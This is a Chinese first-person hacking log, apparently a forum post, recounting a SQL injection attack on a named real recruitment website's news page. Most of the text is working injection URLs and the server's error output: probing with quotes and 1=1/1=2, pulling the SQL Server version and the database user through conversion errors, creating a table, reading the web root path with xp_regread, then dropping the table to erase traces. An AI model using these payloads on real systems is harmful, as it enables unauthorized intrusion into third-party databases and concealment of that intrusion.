今天上了一个人才招聘网站,对他们的招聘系统我很感兴趣,aspx结尾的,看来是.net的程序,这样的网站会不会有什么漏洞呢?顺便打开一条消息 http://www.cnwill.com/NewsShow.aspx?id=4847 ,然后加一个' 看看出现什么?我晕。。
Source: .Net SqlClient Data Provider
Description: 字符串 '' 之前有未闭合的引号。
TargeSite: System.Data.SqlClient.SqlDataReader ExecuteReader(System.Data.CommandBehavior, System.Data.SqlClient.RunBehavior, Boolean)
似乎有可能,然后 1=1 正常 1=2出错。。这和asp的似乎没有区别阿。。于是把NBSI挂上了,竟然也可以猜出表名来,和ASP没区别。不过NBSI不认识这里的出错信息,只能按照没有提示的方式破。。先暂停一下NBSI,输入
http://www.cnwill.com/NewsShow.aspx?id=4844%20and%200<;>(select%20@@version)--
提示:
Source: .Net SqlClient Data Provider
Description: 将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。
TargeSite: Boolean Read()
是个2000的Enterprise server而且SP4了。。然后
_name">http://www.cnwill.com/NewsShow.aspx?id=4844%20and%200<;>user_name()
提示:
Source: .Net SqlClient Data Provider
Description: 将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。
TargeSite: Boolean Read()
哦?用dbo的身份连接?应该有搞头。。
首先按照破解ASP网站的方法,要他的绝对路径用以下,第一步建立一个表:
http://www.cnwill.com/NewsShow.aspx?id=4844;create%20table%20[dbo].[cyfd]([gyfd][char](255))--
把web路径写进去
http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
还是让他不匹配,显示错误
http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
得到提示:
Source: .Net SqlClient Data Provider
Description: 将 varchar 值 'Y:\Web\烟台人才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。
TargeSite: Boolean Read()
哈哈哈。。路径暴露了。。
接下来删除痕迹
http://www.cnwill.com/NewsShow.aspx?id=4844;drop%20table%20cyfd;--
后边该怎么做就不多说了。。和攻击ASP的网站一样。。